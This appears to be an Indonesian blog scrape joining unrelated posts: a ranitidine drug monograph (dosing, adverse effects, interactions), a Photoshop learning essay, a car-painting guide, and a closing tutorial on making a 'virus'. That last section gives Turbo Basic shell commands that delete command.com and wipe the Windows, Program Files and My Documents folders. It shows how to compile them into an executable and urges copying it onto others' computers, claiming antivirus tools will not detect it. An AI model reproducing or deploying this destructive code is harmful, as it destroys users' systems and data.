Ranitidin IV juga berhasil mengobati hipersekresi pasca operasi pada pasien yang tampaknya resisten terhadap simetidin.

Ulkus Lambung
Terapi Ulkus Lambung Akut
Ranitidin oral digunakan dalam terapi ulkus lambung jinak. Antasida dapat digunakan bersama untuk menghilangkan nyeri. Efektivitas ranitidin dalam hal ini hampir sama dengan simetidin. Ranitidin menyembuhkan ulkus lambung pada 60-70% pasien setelah terapi selama 4 minggu, 70-80% setelah 6 minggu terapi.

Kini epidemiologi dan bukti klinis mendukung bahwa infeksi lambung oleh bakteri Helicobacter pylori (HP) berhubungan dengan patogenesis ulkus lambung. Sehingga dalam kondisi ini direkomendasikan penggunaan antibakteri untuk eradikasi bakterinya.

Terapi Pemeliharaan
Ranitidin dosis rendah digunakan dalam terapi pemeliharaan dan mencegah kekambuhan ulkus lambung. Terapi pemeliharaan ranitidin 150 mg sebelum tidur terbukti efektif mencegah kekambuhan ulkus lambung.

Gastroeshophageal Reflux Desease (GERD)
Dalam terapi GERD dosis yang umum pada dewasa adalah 2x150 mg perhari. Sedangkan dosis terapi GERD pada anak-anak (1 bulan sampai 16 tahun) adalah 5-10 mg/Kg BB perhari dalam dosis terbagi 2. Gejala GERD sering muncul dalam waktu 24 jam setelah dumulainya terapi dengan ranitidin ini. Durasi optimum pengobatan GERD dengan ranitidin belum diketahui.

Esofagitis Erosif
Dosis lazim untuk terapi esofagitis erosif yang terdiagnosa dengan endoskopi pada pasien dewasa adalah 4x150 mg perhari. Sedangkan pada pasien anak 1 bulan sampai 16 tahun dosis yang direkomendasikan adalah 5-10 mg/Kg BB perhari dalam dosis terbagi 2. Sedangkan dalam fase pemeliharaan dosis ranitidin adalah 2x150 mg perhari.

Swamedikasi
Dalam swamedikasi ranitidin digunakan untuk mengatasi atau mencegah gejala mulas, perih akibat gangguan keseimbangan asam lambung pada orang dewasa atau anak diatas 12 tahun, dosis yang dianjurkan adalah 75-150 mg 1-2 kali sehari. Untuk pencegahan mulas akibat konsumsi makanan yang dapat menyebabkan mulas maka ranitidin sebaiknya diminum 30-60 menit sebelum mengkonsumsi makanan atau minuman yang dapat menyebabkan mulas. Untuk keperluan swamedikasi, ranitidin sebaiknya digunakan tidak lebih dari 2 dosis perhari dan tidak lebih dari 2 minggu. Penggunaan ranitidin harus segera dihentikan jika gejala tidak membaik atau bahkan semakin parah.

DOSIS PARENTERAL
Dosis Dewasa
Dosis intravena intermiten atau intramuskular pada dewasa adalah 50 mg setiap 6-8 jam. Jika perlu dosis dapat dapat ditingkatkan dengan meningkatkan frekuensi pemberian, namun tidak boleh melebihi 400 mg perhari. Jika ranitidin diberikan dengan infus intravena lambat maka kecepatannya 6,25 mg/jam selama 24 jam. Sedangkan infus kontinue lambat bagi pasien ZES atau hipersekresi GI patologis umumnya infus dimulai dengan kecepatan 1 mg/Kg BB perjam, dan jika setelah 4 jam infus, pasien masih menunjukan gejala hipersekresi GI, maka dosis harus dititrasi ke atas dengan penambahan sebesar 0,5 mg/Kg BB perjam, dengan konsentrasi asam lambung harus terus dipantau. Dosis maksimum hingga 2,5 mg/Kg BB perjam dan tingkat infus 220 mg/jam.

Dosis Pediatrik
Dosis pada anak usia 1 bulan hingga 16 tahun, untuk pengobatan ulkus duodenum aktif adalah 2-4 mg/Kg perhari dalam dosis terbagi setiap 6-8 jam. Sedangkan penggunaannya pada pasien neonatus (kurang dari 1 bulan) dosis 2 mg/Kg BB intravena setiap 12-24 jam sebagai infus intravena kontinue.

DOSIS PADA PASIEN DENGAN PENURUNAN FUNGSI GINJAL
Pada pasien dengan klirens kreatinin kurang dari 50 mL/menit maka dosis ranitidin yang direkomendasikan adalah 150 mg setiap 24 jam peroral, 50 mg setiap 18-24 jam untuk pemberian parenteral.

PERHATIAN
Ranitidin dapat menimbulkan efek-efek yang kurang menyenangkan diantaranya:
  1. Efek pada sistem syaraf pusat dapat berupa: sakit kepala, rasa tidak enak badan (malaise), pusing, mengantuk, insomnia, vertigo, kebingungan mental, agitasi, depresi mental dan halusinasi terutama pada pasien geriatri lemah. Penggunaan ranitidin dosis tinggi dan dalam jangka panjang pada anak-anak (8 mg/Kg BB perhari selama 10 bulan) dapat menyebabkan perubahan pada pola kesadaran, disartria, hiporefleksia, mengantuk, gejala Babinski, diaforesis, dan bradikardia yang mana gejala-gejala tersebut akan menghilang dengan sendirinya setelah penggunaan ranitidin dihentikan dalam 24 jam.
  2. Efek pada GI: konstipasi, mual, muntah, nyeri dan ketidaknyamanan pada perut, dan pada sebagian kecil pasien dapat mengalami pankreatitis.
  3. Reaksi sensitivitas dan dermatologi: ruam, urtikaria, pruritus, dan urtikaria ditempat penyuntikan. Reaksi hipersensitivitas seperti bronkospasme, demam, ruam, eosinofilia jarang terjadi. Anafilaksis yang ditandai dengan urtikaria berat dan penurunan tekanan darah dalam satu kali pemberian dosis tunggal dapat terjadi namun jarang. Eksaserbasi astma dan angiodema juga dapat terjadi. 
  4. Efek pada Hematologi: dapat terjadi leukopenia, agranulositopenia, trombositopenia, anemia aplastik dan pansitopenia yang disertai hipoplasia sumsum tulang belakang namun jarang. 
  5. Efek pada ginjal dan saluran kemih: peningkatan kreatinin serum tanpa disertai peningkatan BUN dapat terjadi namun jarang. Penurunan libido juga pernah terjadi pada pria yang diterapi dengan ranitidin.
  6. Efek pada hati: dapat terjadi peningkatan konsentrasi aminotransferase serum (AST, SGOT, SGPT, ALT), alkalin fosfatase serum, LDH, bilirubin total, gama-glutamiltranspeptidase. Beberapa kasus juga diketahui bahwa terapi ranitidin dapat menyebabkan hepatitis baik hepatoseluler atau pun hepatokanalikuler dan kolestasis yang umumnya bersifat reversibel. 
  7. Efek pada penglihatan: dapat terjadi kekaburan penglihatan yang bersifat reversibel, eksaserbasi nyeri mata dan kaburnya penglihatan yang berhubungan dengan peningkatan tekanan intraokuler dan glaukoma kronis, dan buta warna.
  8. Efek pada endokrin: belum ada efek yang diketahui secara pasti sehubungan penggunaan ranitidin pada sistem endokrin. Namun telah diketahui adanya pasien pria yang mengalami impotensi seksual akibat penggunaan ranitidin yang segera sembuh seiring penghentian penggunaan obat, dan impotensi berulang saat penggunaan obat diulang. Nyeri ginekomastia juga dapat terjadi pada pria.
  9. Efek pada sistem kardiovaskuler: aritmia jantung jarang terjadi, bradikardia yang berhubungan dengan dispnea dapat terjadi. 
  10. Efek pada sistem pernafasan: ranitidin dan antagonis reseptor H2 lainnya berpotensi meningkatkan resiko infeksi pneumonia pada komunitas pneumonia.
  11. Efek lain: dapat terjadi arthralgia, myalgia dan porphyria akut. Penggunaan ranitidin harus dihindari pada pasien dengan riwayat porphyria.
PERINGATAN DAN KONTRAINDIKASI
Ranitidin yang digunakan pada pasien dengan penurunan fungsi ginjal harus digunakan dengan hati-hati dan disertai dengan pengurangan dosis, karena sebagian besar ranitidin diekskresikan melalui ginjal. Demikian pun pada pasien dengan penurunan fungsi hati, karena ranitidin dimetabolisme melalui hati. Penggunaan ranitidin juga harus dihindari pada pasien dengan riwayat porphyria.

Ranitidin tidak boleh digunakan untuk swamedikasi jika pasien mengalami kesulitan menelan dan tidak boleh digunakan dalam kombinasi dengan obat penekan sekresi asam lambung lainnya. Pasien dengan gejala mulas yang menetap lebih dari 3 bulan tidak boleh menggunakan ranitidin untuk swamedikasi. Ranitidin juga tidak boleh digunakan untuk swamedikasi pada pasien dengan keluhan nyeri dada dan atau bahu, sesak nafas, dan rasa nyeri yang menyebar.

Kondisi-kondisi berikut dalam penggunaan ranitidin harus disertai dengan peringatan dan kewaspadaan:

  1. Pada pasien pediatrik; penggunaan ranitidin oral maupun parenteral pada pediatrik ( 1 bulan sampai 16 tahun) untuk indikasi ulkus duodenum dan lambung aktif, GERD dan esofagitis erosif telah diketahui khasiat dan keamanannya. Namun penggunaan ranitidin oral ataupun parenteral untuk kondisi hipersekresi GI patologis dan untuk terapi pemeliharaan dan pencegahan kekambuhan esofagitis erosif pada anak-anak belum diketahui, demikian juga penggunaannya pada neonatus, sehingga penggunaan pada kondisi tersebut harus dengan kewaspadaan penuh.
  2. Pada pasien geriatrik; pada pasien geriatrik (berusia lebih dari 65 tahun keatas) kemungkinan resiko hipersensitivitasnya akan meningkat, disamping itu kemungkinan adanya penurunan fungsi ginjal pada pasien geriatrik akan berpotensi meningkatkan resiko toksisitas.
  3. Mutagenisitas dan karsinogenisitas; tidak ada bukti pengaruh ranitidin terhadap efek mutagenisitas dan karsinogenisitas pada manusia
  4. Pada kehamilan; hingga dosis 160 kali dosis oral biasa, ranitidin belum menunjukan adanya bahaya pada fetus
  5. Pada kesuburan/fertilitas; tidak ada bukti yang menunjukan pengaruh ranitidin pada fertilitas
  6. Pada laktasi (wanita menyusui); ranitidin terdistribusi ke dalam susu, sehingga penggunaan ranitidin pada wanita menyusui harus sangat berhati-hati.
  7. Ranitidin dikontraindikasikan pada pasien dengan hipersensitif terhadap ranitidin atau komponen lain dalam formula sediaan obat.
INTERAKSI OBAT
Ranitidin dapat berinteraksi dengan makanan, obat lain maupun parameter klinis.
  1. Makanan dan Antasida. Konsumsi bersama makanan atau antasida dengan ranitidin dapat menyebabkan penurunan absorpsi ranitidin hingga 33% dan konsentrasi puncak dalam serum menurun hingga 613-432 ng/mL. 
  2. Propantelin bromida. Propantelin bromida menghambat penyerapan dan meningkatkan konsentrasi puncak serum ranitidin, melalui mekanisme penghambatan pengosongan lambung dan perpanjangan waktu transit. Bioavalabilitas ranitidin meningkat 23% jika digunakan bersama propantelin bromida.
  3. Merokok. Kebiasaan merokok menghambat penyembuhan ulkus duodenum dan mengurangi khasiat ranitidin. Perbandingan kesembuhan ulkus duodenum pada perokok dan bukan perokok dengan terapi ranitidin adalah 62 dan 100%.
  4. Efek ranitidin pada hati. Ranitidin berinteraksi dengan sistem enzim sitokrom P450 dihati. Ranitidin hanya sedikit menghambat metabolisme hepatik beberapa obat seperti kumarin, antikoagulan, teofilin, diazepam dan propranolol. Ranitidin membentuk ligand-kompleks dengan enzim sitokrom P450 sehingga menghambat aktivitas enzim tersebut. Penggunaan bersama ranitidin dan warfarin dapat menurunkan atau meningkatkan waktu protrombin (PT). Pada dosis ranitidin hingga 400 mg perhari, penggunaan bersamanya dengan warfarin relatif tidak berpengaruh terhadap bersihan warfarin dan atau PT. Namun penggunaan ranitidin lebih dari 400 mg perhari bersama dengan warfarin belum diketahui pengaruhnya. Sedangkan penggunaan bersama ranitidin 2x200 mg dan warfarin 2,5-4,5 mg telah terbukti memperpanjang PT secara signifikan. Pengunaan bersama ranitidin dan teofilin menyebabkan penurunan bersihan plasma teofilin. Pengunaan bersama ranitidin dan diazepam maupun lorazepam relatif tidak saling berinteraksi. Penggunaan bersama 100 mg metoprolol dan ranitin menyebabkan AUC metoprolol meingkat hingga 80% dan rata-rata konsentrasi serum puncak meningkat hingga 50%, dan waktu paruh eliminasi metoprolol meningkat hingga 4,4-6,5 jam. 
  5. Alkohol. Penggunaan bersama alkohol dan ranitidin menyebabkan peningkatan konsentrasi alkohol serum.
  6. Nifedipin. Penggunaan ranitidin bersama nifedipin dapat menyebabkan peningkatan AUC nifedipin hingga 30%.
  7. Vitamin B12. Penggunaan ranitidin dapat mengakibatkan defisiensi vitamin B12 karena malabsorpsi vitamin B12.
TOKSISITAS AKUT
Overdosis ranitidin dapat terjadi pada konsumsi ranitidin hingga 18 gram peroral yang dapat mengakibatkan terjadinya kelainan cara jalan dan hipotensi. Pengobatan overdosis ranitidin dapat dilakukan dengan cara mengeluarkan ranitidin tak terserap dalam saluran cerna, pemantauan klinis, dan terapi suportif. Hemodialisis dapat dilakukan bila perlu.
FARMAKOLOGI
Efek farmakologi ranitidin dapat terjadi melalui beberapa mekanisme.
  1. Efek pada GI. Ranitidin menghambat kompetitif reseptor histamin H2 pada sel parietal menurunkan sekresi asam lambung pada kondisi basal maupun terstimulasi makanan, insulin, asam amino, histamin maupun pentagastrin. 
  2. Efek pada gonad dan endokrin. Ranitidin memberikan sedikit pengaruh pada konsenrasi prolaktin serum. Peningkatan kadar prolaktin serum akan terjadi pada pemberian ranitidin 200 atau 300 mg IV.
  3. Efek lain. Ranitidin dan simetidin dapat menurunkan aliran darah hati. Ranitidin tidak menghambat metabolisme antipirin dihati. Ranitidin meningkatkan reduksi nitrat oleh flora normal GI.
FARMAKOKINETIK
  1. Absorpsi. Ranitidin diabsorpsi dengan baik dari saluran cerna maupun pada pemberian secara intramuskular. Bioavailabilitas absolut ranitidin pada pemberian secara oral adalah sekitar 50%, demikian pula pada anak-anak. Sedangkan pada geriatrik bioavailabilitasnya rata-rata 48%.
  2. Distribusi. Ranitidin terdistribusi secara luas pada cairan tubuh dan sekitar 10-19% berikatan dengan protein serum. Volume distribusi ranitidin rata-rata 1,7 L/Kg dengan kisaran 1,2-1,9 L/Kg. Sedangkan volume distribusi pada anak sekitar 2,3-2,5 L/Kg dengan kisaran 1,1-3,7 L/Kg. Pada pemberian secara oral ranitidin juga terdistribusi ke CSF. Ranitidin juga terdistribusi ke susu.
  3. Eliminasi. Waktu paruh eliminasi rata-rata pada orang dewasa adalah 1,7-3,2 jam, dan dapat berkorelasi positif dengan usia. Waktu paruh eliminasi akan meningkat pada pasien dengan gangguan fungsi ginjal. Pada pasien lanjut usia waktu paruh eliminasi umumnya meningkat seiring berkurangnya fungsi ginjal. Ranitidin sebagian besar diekskresikan dalam urin melalui filtrasi glomerular dan sekresi tubular.
  4. Metabolisme. Ranitidin dimetabolisme dihati menjadi ranitidin N-oksida, desmetil ranitidin, dan ranitidin S-oksida. Pada pemberian oral, ranitidin juga mengalami metabolisme lintas pertama dihati. Pada pasien dengan sirosis hati, konsentrasi serum akan meningkat akibat rendahnya metabolisme lintas pertama dihati dan bioavailabilitasnya rata-rata 70%.
SEDIAAN
Tersedia dalam produk generiknya berupa sediaan:
Kapsul 75, 150 dan 300 mg
Tablet 150 dan 300 mg
Sirup 15 mg/mL
Injeksi 25 mg/mL

Sunday 7 October 2012

Edit Foto Dengan Photoshop


Cara Edit Foto Dengan Photoshop - Masih berbicara tentang Adobe Photoshop dan bagaimana cara mengedit foto dengan Photoshop, kalau kita membahas "cara" berarti kita membahas, bagaimana untuk mengolah gambar digital agar terlihat lebih menarik dari foto aslinya, nah... disini pembahasan nya bisa menjadi panjang. Menarik menurut Saya belum tentu menarik menurut Anda, atau pun Menarik menurut teman di sebelah Anda, Selera masing-masing yang melihat hasil akhir sebuah Olahan Gambar Digital yang akan menentukan nya.

Apa yang harus di Pahami Pertama Kali.
Tool Tool Dasar Photoshop serta kegunaan nya, sebuah Pokok terpenting yang harus di pahami pertama kali, ibarat Orang yang ingin Belajar mengendarai Sepeda Motor, harus sudah benar benar tahu gas dan kegunaan nya, Rem juga fungsi dari Rem itu sendiri, Fungsi Kopling dan cara menggunakan nya, begitu pula mempelajari Adobe Photoshop, yang "njelimet" kalau kata Orang yang baru akan memulai Belajar Photoshop. Seperti Sepeda Motor, 3 Hal Terpenting yang harus kita Pahami sebelum Belajar Mengemudikan Sepeda Motor, Pertama Gas, Kemudian Rem, lalu Kopling, Photoshop pun dapat kita bagi menjadi 3 Tool dasar yang harus di Pahami, Pertama Tool Seleksi, Kemudian Tool Retouch lalu Tool Drawing


3 Kelompok Tool Dasar inilah yang akan manjadi Pondasi kita dalam mempelajari photoshop, di mulai dari Kelompok Tool yang Pertama Tools Selection, apa itu tool tool seleksi, Tool Selection atau Tool Seleksi, adalah Tool yang akan kita pergunakan untuk menyeleksi, memotong serta memindahkan Area tertentu pada Sebuah Foto. Lalu Kelompok Tool yang Kedua, Retouch Tools. Tool Tool ini lah yang akan membantu kita selama Proses Pengolahan Gambar Digital. Selanjutnya Kelompok Tool yang Ketiga Drawing Tool, sesuai dengan nama nya Drawing, yaitu Menggambar, Kelompok Tool ini memungkinkan kita untuk menggambar di Photoshop dengan Mudah,

Mempelajari Fungsi Fungsi Tool Dasar

Setelah kita tahu dan Memahami Tool Dasar dari Adobe Photoshop, kemudian kita Mempelajari Fungsi dari Tool Photoshop Tersebut, dan bagaimana Tool itu bekerja. Bisa dimulai dengan membuka Foto Apapun lalu mencoba satu persatu Tool Tersebut, Kalau Anda Berfikir hal ini hanya akan membuang waktu Saja. Anda Salah...! Saya akan mencontohkan kembali dengan Belajar Sepeda Motor, Cukup dengan Tahu Gas dan Rem juga Kopling, ya...... Saya Pastikan Anda Bisa Mengendarai Sepeda Motor, dan Sepeda Motor tersebut Pasti Berjalan kalau Gas di Putar, Tapi....apa iya Motor bisa Berjalan dengan Mulus kalau Kita tidak mengetahui Pada Kecepatan Berapa Kopling harus di Naikkan Satu Step, Lalu Bagaimana Pula agar motor bisa Tetap Seimbang selama kita mengendarai nya. Kembali ke Adobe Photoshop.... Tidak ada Salah nya mencoba satu per satu masing masing Tool Photoshop yang berada pada Tool Box, agar nantinya selama kita mengolah gambar Digital dapat berjalan dengan Mulus, karna kita tahu semua Tool Photoshop dan Cara Menggunakan Tool Photoshop.
Belajar Tehnik Photoshop
Mempelajari Cara berarti kita membicarakan juga Tehnik Disini, Banyak sekali cara cara atau pun Langkah langkah edit dengan Photoshop, Cutting, Masking dan Blending, adalah 3 dari sekian Banyak Tehnik edit Foto di Adobe Photoshop. Perkaya diri kita dengan berbagai macam tehnik yang banyak di Share di Website atau pun Blog Tutorial Photoshop, bisa juga dengan membeli buku Buku Tutorial Photoshop, bila memungkinkan Ambil Mata Kuliah Design yang Mempelajari Photoshop lebih Rinci, Sangat Beruntung menurut saya Orang yang mempelajari Photoshop dengan Berkuliah, karna terdapat benang merah yang sangat jelas Antara Photoshoper "Kuliah" dan Photoshoper "Otodidak". Saya Termasuk dalam Kategori Photoshoper Otodidak, yang sama sekali tidak mengetahui makna makna Warna, tidak mengetahui bagaimana Typography yang Baik, Tidak tahu apa dan bagaimana Painting, Semua Hal yang Saya Tahu tentang Photoshop Saya Pelajari dari Tutorial yang ada di Internet, beruntung nya Saya karna Saya memiliki Pembimbing yang sudah Lebih dulu mengenal dan memahami Photoshop, Pembimbing yang juga Seorang Photoshoper Otodidak.
Explorasi dan Seni
Explorasi....Explorasi.... dan Explorasi.... terus mengexplor kemampuan kita, jangan Bosan dengan kata Belajar, jangan Pernah Puas dengan Hasil kita yang Sekarang, kalau kita merasa Puas dengan hasil Olahan kita yang sekarang, maka pembelajaran akan berhenti sampai di sini, dan Hasil Olahan pun akan berhenti hanya pada yang kita Tahu Saya. Buka Mata... Lihat bagaimana Hasil Olahan Orang Lain, cari Hasil Editan yang lebih baik dari hasil Editan kita, Pelajari itu semua, di sinilah Karakter Digital Imaging kita akan terbentuk, disinilah kita akan banyak mengerti dan akan memahami Bagaimana cara mengedit yang Baik. dan disini juga kita akan menyisipkan nilai seni dalam setiap hasil Olahan Kita.

Saturday 6 October 2012

cara mengecat mobil yang baik


cara mnegecat mobil/motor yang baik yaitu:
1. ampelas terlebih dahulu bagian yang akan dicat dengan ampelas(krtas gosok) ukuran 800 yang warerproof, kemudian dihaluskan dengan ampelas ukuran/no. 1000.
2. setelah permukaan telah digosok dengan ampelas cuci bagian yang akan dicat dengan air bersih, dikeringkan dengan kain, dan dipanaskan dibawah terik matahari sampai benar2 kering.
3. cat permukaan yang dikehendaki dengan Epoxy setlah kelar jemur bagian yang tercat tadi kemudian gosok lagi dengan ampelas dengan ampelas ukuran 1200, dan jangan sampai habis cukup sampai rata permukaannya.
4. setelah diampelas cuci bagian tersebut dengan air bersih dan jemur hingga kering dan dibersihkan dengan kain yang lembut seperti kain kaos.
5. kemudian masuk pada tahap pengecatan dengan menggunakan cat dasar yang diinginkan bisa putih atau abu2, saya biasa menggunakaan merk Avian atau steelgloss dan dicat ditempat yang terbuka agar terkena matahari langsung dan hindari media debu, setelah dicat jemur bagian tsb hingga benar2 kering, dan ampelas lagi untuk mendapatkan hasil yg maksimal, namun dgn ampelas no.>1200 dan perlu diingat proses pengampelasan cukup tipis2.
6. masuk dalam proses pewarnaan pilih warna sesuai yamg diinginkan dan campuran untuk cat lebih diencerkan biasa sy memakai ukuran 1liter cat banding 4liter Thiner Super A, dan dalam proses pengecatan cukup 1kali menarik spoit cat jangan diulang2 agar kelihatan rata.kemudian jemur hingga bener2 kering.
7.setelah kering barulah kita memasuki proses pernis agar hasil bgus pilih pernisnya dengan merk2 yang bagus seperti Avian S4000 Atau Blinken dan hasilnya kendaraan kita seperti dikasih minyak mengkilap walau tak dicuci.
“selamat Mencoba”

cara membuat virus

== Cara membuat program perusak (Seperti Virus) ==
Penulis peduli dengan para newbie yang sedang belajar pemograman sekaligus penulis juga
peduli dengan para progammer yang belum mengenal bahasa BASIC (Maklum kebanyakan progammer
pada langsung lompat ke Pascal, C dan lainnya).
Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer,
tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali,
anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara
membuat program perusak ( seperti virus) yang sangat sederhana sekali tapi sangat mematikan
bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.
Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk
berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda
cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda
dapat mendownloadnya di Google atau cari dirental CD.
Jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code
program perusak.
shell “Perintah DOS”
dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda
membuat :
shell “c:”
shell “cd\”
shell “del command.com”
Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna
komputer tidak dapat booting, kita contohkan yang lain.
shell “c:”
shell “cd\”
shell “deltree /y mydocu~1″
shell “deltree /y windows”
shell “deltree /y progra~1″
Diatas adalah contoh menghapus Directory My Document, Windows dan Program Files, sangat
fatal bukan ?
Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save
lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi,
caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile
lalu anda enter, maka source code tersebut akan menjadi file EXE.
Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada
program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda
dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa BELUM ADA SATU ANTIVIRUS
DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program
ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe
Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan
ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai
jenis Antivirus.
Penulis :
Kurniawan
Yogya Family Code
http://www.starflazz.co.cc/
Salam :
paktani.tk : “Paktani ini saya, hehe”
/conan/ alias markov : “versi 2005 dah keluar lho”,
kartubeben : “Inget akukan :P
*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda